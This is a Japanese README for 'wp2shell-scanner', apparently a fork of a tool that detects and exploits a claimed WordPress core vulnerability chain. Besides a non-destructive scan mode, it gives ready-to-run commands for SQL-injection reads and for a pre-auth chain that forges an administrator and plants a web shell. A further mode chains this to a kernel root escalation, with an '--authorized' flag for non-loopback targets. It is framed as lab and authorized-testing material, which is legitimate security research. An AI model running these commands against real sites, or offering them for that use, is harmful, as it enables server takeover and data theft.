wp2shell-scanner

作者: @bahartanir (katherinepierce) ZephrFish/wp2shell-scanner のフォークで、追加の改良が施されています。 研究: Adam Kues (Assetnote) と Mustafa Can İPEKÇİ (nukedx)。

wp2shell (CVE-2026-63030 / CVE-2026-60137) に対する WordPress コアの露出を検出・検証するためのツールです。モードはフラグで選択し、ターゲットは位置引数で指定します。--scan はコアのバージョンをフィンガープリントし、エクスプロイトペイロードを送信せずに REST /batch/v1 ルートに到達可能であることを確認します。--check/--read/--shell/--rce/--root-prereq モードは、許可されたラボ利用のための検証 PoC です。

wp2shell.py は標準ライブラリのみを使用する単一のスクリプトであり、外部依存関係はありません。実行のたびに、実行前にバナーを stderr に出力します (stdout には出力しないため、--scan -j の JSON 出力には影響しません)。

コマンドフラグ

モードフラグは必ず 1 つ指定します。ターゲットは位置引数です (すべてのモードで URL、--scan ではホストリスト)。

構文

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

モードフラグ (いずれか 1 つ)

オプションフラグ

オリジナルの詳細解説: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Nuclei テンプレート

nuclei -t wp2shell-exposure.yaml -u https://target

スキャン (非破壊)

単一ホスト、複数ホスト、またはファイルを対象にできます。

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

オプション: -f/--file ホストファイル (1 行に 1 つ)、-j/--json JSON 出力、-t/--threads 並行数 (デフォルト 10)。

検証 PoC

--check/--read/--shell/--rce/--root-prereq モードは、実際のエクスプロイトペイロードを送信します。付属の localhost ラボ、または自分が所有し、明示的にテストを許可された他のシステムでのみ実行してください。--shell と --rce はリモートコード実行を行い、ラボ/承認済みターゲットを対象としています。ループバック以外のホストに対する --rce には --authorized が必要です。--root-prereq は、同じトークンゲート方式の診断プラグインを使用してシェルから root への前提条件を確認しますが、ローカル権限昇格は実行しません。

--shell には、復元/クラックされた管理者パスワードが必要です。--rce は 資格情報不要の pre-auth チェーンです。SQLi (oEmbed → changeset → 再入可能な parse_request) を通じて独自の管理者を偽造し、ウェブシェルを展開します。パスワードは不要です。

--shell、--rce、--root-prereq は、コード実行ペイロードを送信する前に対話型の y/N 承認を求めます (非対話型/EOF の stdin では中止します)。ラボまたは承認済みターゲットに対する自動化では、-y/--yes を渡すとプロンプトをスキップできます。

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

PoC の根拠として使用したパッチの差分は poc/diffs/ に保存され、調査メモは poc/RESEARCH.md にあります。SQLi は author__not_in の修正から完全に再構築可能です。資格情報不要の --rce チェーン (oEmbed → changeset → 再エントリ → 管理者作成) は、付属ラボに対する標準デフォルトの RCE を再現します。--shell は、復元/クラックされた管理者資格情報を介して、認証済みプラグインのアップロードとコマンド実行を行う代替パスです。

ローカル権限昇格 (--lpe)

--lpe は、完全な pre-auth RCE (SQLi → 管理者フォージ → ウェブシェル) と自動化された root 昇格の試みを連結します。以下の順序で試行し、最初に成功した時点で停止します:

python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized        # non-loopback

ループバック以外のターゲットに対する --lpe には --authorized が必要です。付属ラボ (脆弱な GameOverlay カーネルを備えた Ubuntu 22.04 ベースイメージ) では、CVE-2023-2640/32629 がコンパイラなしで成功します。